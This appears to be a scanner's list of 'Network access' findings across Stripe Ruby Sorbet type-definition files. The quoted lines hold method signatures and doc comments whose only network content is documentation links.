    class Payments < ::Stripe::RequestParams         # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statemen
  • Network accessline 2655
    # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati
  • Network accessline 2658
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }         def statement_descriptor=(_statement_descriptor); end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese sta
  • Network accessline 2659
    def statement_descriptor=(_statement_descriptor); end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/s
  • Network accessline 2660
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2663
    sig { params(_statement_descriptor_kana: T.nilable(String)).returns(T.nilable(String)) }         def statement_descriptor_kana=(_statement_descriptor_kana); end         # The Kanji variation of `statement_descriptor` used for charges in Jap
  • Network accessline 2664
    def statement_descriptor_kana=(_statement_descriptor_kana); end         # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-starte
  • Network accessline 2665
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2881
    def initialize(date: nil, ip: nil, service_agreement: nil, user_agent: nil); end     end     # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2882
    end     # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.     sig { returns(T.nilable(String)) }
  • Network accessline 2883
    # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2926
    }     def controller=(_controller); end     # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States 
  • Network accessline 2927
    def controller=(_controller); end     # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and th
  • Network accessline 2928
    # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and the business for which you're creating a
  • Network accessline 2931
    sig { params(_country: T.nilable(String)).returns(T.nilable(String)) }     def country=(_country); end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in 
  • Network accessline 2932
    def country=(_country); end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).     sig { returns(
  • Network accessline 2933
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).
  • Network accessline 2976
    }     def individual=(_individual); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 2977
    def individual=(_individual); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 2978
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_external_account_create_params.rbi

  • Network accessline 120
    sig { params(_number: String).returns(String) }       def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a
  • Network accessline 121
    def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { re
  • Network accessline 122
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 176
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's ext
  • Network accessline 177
    def expand=(_expand); end     # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](htt
  • Network accessline 178
    # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](https://stripe.com/docs/api/exter
  • Network accessline 185
    }     def external_account=(_external_account); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 186
    def external_account=(_external_account); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 187
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_external_account_update_params.rbi

  • Network accessline 7
    class Documents < ::Stripe::RequestParams       class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a
  • Network accessline 8
    class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nil
  • Network accessline 9
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 15
    def initialize(files: nil); end       end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associa
  • Network accessline 16
    end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that display
  • Network accessline 17
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that displays the last
  • Network accessline 103
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 104
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 105
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_person_create_params.rbi

  • Network accessline 45
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 46
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 47
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 65
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 66
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 90
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 137
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 138
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 139
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 201
    class Documents < ::Stripe::RequestParams       class CompanyAuthorization < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requi
  • Network accessline 202
    class CompanyAuthorization < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Arra
  • Network accessline 203
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 210
    end       class Passport < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 211
    class Passport < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) 
  • Network accessline 212
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 219
    end       class Visa < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 220
    class Visa < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 221
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 259
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 260
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 261
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 279
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 280
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 281
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 410
    class Verification < ::Stripe::RequestParams       class AdditionalDocument < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 411
    class AdditionalDocument < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small
  • Network accessline 412
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 415
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }         def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th
  • Network accessline 416
    def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px),
  • Network accessline 417
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 424
    end       class Document < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small
  • Network accessline 425
    class Document < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,
  • Network accessline 426
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 429
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }         def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th
  • Network accessline 430
    def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px),
  • Network accessline 431
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 535
    sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) }     def gender=(_gender); end     # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number i
  • Network accessline 536
    def gender=(_gender); end     # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII t
  • Network accessline 537
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 540
    sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) }     def id_number=(_id_number); end     # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailan
  • Network accessline 541
    def id_number=(_id_number); end     # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of t
  • Network accessline 542
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 565
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }     def maiden_name=(_maiden_name); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for
  • Network accessline 566
    def maiden_name=(_maiden_name); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 567
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 572
    }     def metadata=(_metadata); end     # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 573
    def metadata=(_metadata); end     # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.     sig { returns(T.nilable(String)) }
  • Network accessline 574
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 577
    sig { params(_nationality: T.nilable(String)).returns(T.nilable(String)) }     def nationality=(_nationality); end     # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
  • Network accessline 578
    def nationality=(_nationality); end     # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.     sig { returns(T.nilable(String)) }
  • Network accessline 579
    # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_person_update_params.rbi

  • Network accessline 45
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 46
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 47
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 65
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 66
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 90
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 137
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 138
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 139
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 201
    class Documents < ::Stripe::RequestParams       class CompanyAuthorization < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requi
  • Network accessline 202
    class CompanyAuthorization < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Arra
  • Network accessline 203
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 210
    end       class Passport < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 211
    class Passport < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) 
  • Network accessline 212
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 219
    end       class Visa < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 220
    class Visa < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 221
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 259
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 260
    def city=(_city); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 261
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 279
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 280
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 281
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 410
    class Verification < ::Stripe::RequestParams       class AdditionalDocument < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 411
    class AdditionalDocument < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small
  • Network accessline 412
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 415
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }         def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th
  • Network accessline 416
    def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px),
  • Network accessline 417
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 424
    end       class Document < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small
  • Network accessline 425
    class Document < ::Stripe::RequestParams         # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,
  • Network accessline 426
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 429
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }         def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th
  • Network accessline 430
    def back=(_back); end         # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px),
  • Network accessline 431
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 535
    sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) }     def gender=(_gender); end     # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number i
  • Network accessline 536
    def gender=(_gender); end     # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII t
  • Network accessline 537
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 540
    sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) }     def id_number=(_id_number); end     # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailan
  • Network accessline 541
    def id_number=(_id_number); end     # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of t
  • Network accessline 542
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 565
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }     def maiden_name=(_maiden_name); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for
  • Network accessline 566
    def maiden_name=(_maiden_name); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 567
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 572
    }     def metadata=(_metadata); end     # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 573
    def metadata=(_metadata); end     # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.     sig { returns(T.nilable(String)) }
  • Network accessline 574
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 577
    sig { params(_nationality: T.nilable(String)).returns(T.nilable(String)) }     def nationality=(_nationality); end     # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
  • Network accessline 578
    def nationality=(_nationality); end     # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.     sig { returns(T.nilable(String)) }
  • Network accessline 579
    # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_update_params.rbi

  • Network accessline 61
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 62
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 63
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 81
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 82
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 94
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 95
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 96
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 114
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 115
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 116
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1327
    sig { params(_number: String).returns(String) }       def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a
  • Network accessline 1328
    def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { re
  • Network accessline 1329
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1386
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1387
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1388
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1406
